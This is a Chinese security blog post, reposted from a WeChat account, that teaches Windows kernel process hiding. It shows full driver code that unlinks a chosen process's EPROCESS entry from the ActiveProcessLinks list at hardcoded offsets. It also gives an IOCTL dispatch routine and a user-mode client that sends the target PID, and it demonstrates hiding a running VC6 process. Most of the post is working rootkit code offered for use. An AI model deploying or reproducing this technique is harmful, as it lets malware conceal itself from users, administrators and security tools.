在Windows的内核中,存在一个双向链表AcvtivePeorecssList保存着进程的EPROCESS结构,通过断链的操作来实现进程隐藏。
1.功能分析实现
通过Windbg查看到了AcvtivePeorecssList和进程ID的位置。
那么代码如何实现呢?继续看我这个灵魂画手画的图,既然是一个双向链表。我们的第二个节点的下一个要指向第四个,第四个的上一个要指向第二个。
2.代码实现
这里通过一个循环来遍历,当ID等于我们传入的进程ID,我们就进行断链操作。记住这里的pEprocess + 0xb4是获取的进程ID的地址,要用*取地址的值才可以。
//断链操作
pblink->Blink->Flink = pblink->Flink;
pblink->Flink->Blink = pblink->Blink;
NTSTATUS HidenProcess(ULONG PID){
ULONG ID = 0;
DWORD_PTR pEprocess = (DWORD_PTR)PsGetCurrentProcess();
PLIST_ENTRY palink = (PLIST_ENTRY)(pEprocess + 0xb8);
PLIST_ENTRY pblink = palink->Flink;
while (pblink->Flink != palink->Flink){
pEprocess = ((DWORD_PTR)pblink - 0xb8);
ID = *((ULONG*)(pEprocess + 0xb4));
if (ID == PID){
pblink->Blink->Flink = pblink->Flink;
pblink->Flink->Blink = pblink->Blink;
DbgPrint("进程成功隐藏n");
}
pblink = pblink->Flink;
}
return STATUS_SUCCESS;
}
3.代码改进
如果单单用上方这种的话,每次用的话,就需要在驱动文件内传入我们要隐藏的进程ID,为了方便,这里改用了I/O通信,通过三环的exe输入进程ID,之后将进程ID发送到驱动文件并实施隐藏效果。
三环代码
int main(int argc, char* argv[])
{
HANDLE h = CreateFile(L"\\.\meta", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
ULONG inlen = 0;
printf("请输入要隐藏的进程ID:n");
scanf("%d",&inlen);
ULONG pro = 0;
if (DeviceIoControl(h, IO_READ_Control, &inlen, sizeof(inlen), &inlen, sizeof(inlen), &pro, NULL)){
printf("进程隐藏成功");
}
CloseHandle(h);
system("pause");
return 0;
}
驱动代码
将下方的回调函数改为MyControl,并将MyControl接收到的三环exe发送的进程ID传入到HidenProcess函数中,实现进程断链隐藏。
PDRIVER_OBJECT-->MajorFunction[IRP_MJ_DEVICE_CONTROL]=MyControl
NTSTATUS HidenProcess(ULONG PID){
ULONG ID = 0;
DWORD_PTR pEprocess = (DWORD_PTR)PsGetCurrentProcess();
PLIST_ENTRY palink = (PLIST_ENTRY)(pEprocess + 0xb8);
PLIST_ENTRY pblink = palink->Flink;
while (pblink->Flink != palink->Flink){
pEprocess = ((DWORD_PTR)pblink - 0xb8);
ID = *((ULONG*)(pEprocess + 0xb4));
if (ID == PID){
pblink->Blink->Flink = pblink->Flink;
pblink->Flink->Blink = pblink->Blink;
DbgPrint("进程成功隐藏n");
}
pblink = pblink->Flink;
}
return STATUS_SUCCESS;
}
NTSTATUS MyControl(PDEVICE_OBJECT DeviceObject, PIRP pir){
//获取设备栈
PIO_STACK_LOCATION pio = IoGetCurrentIrpStackLocation(pir);
PVOID buffer = pir->AssociatedIrp.SystemBuffer;//数据
ULONG code = pio->Parameters.DeviceIoControl.IoControlCode;
pir->IoStatus.Status = STATUS_SUCCESS;//返回成功
pir->IoStatus.Information = 4;//只接受四个
ULONG PID = 0;
switch (code){
case IO_READ_Control:
{
DbgPrint("要隐藏的进程ID为 :%drn",*(PULONG_PTR)buffer);
PID = *(PULONG_PTR)buffer;
HidenProcess(PID);
break;
}
default:
break;
}
IoCompleteRequest(pir, IO_NO_INCREMENT);//封包发送
return STATUS_SUCCESS;
}
全部驱动代码在公众号留言回复:进程隐藏 即可获取
3.运行实例
这里我打开了一个VC6编译器,进程ID为3124。
接下来输入VC6的进程ID,并看一下效果,成功隐藏掉了VC6的进程。
微信搜索关注 "安全族" 长期更新安全资料,扫一扫即可关注安全族!
本文始发于微信公众号(安全族):Windows内核驱动~进程隐藏实现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论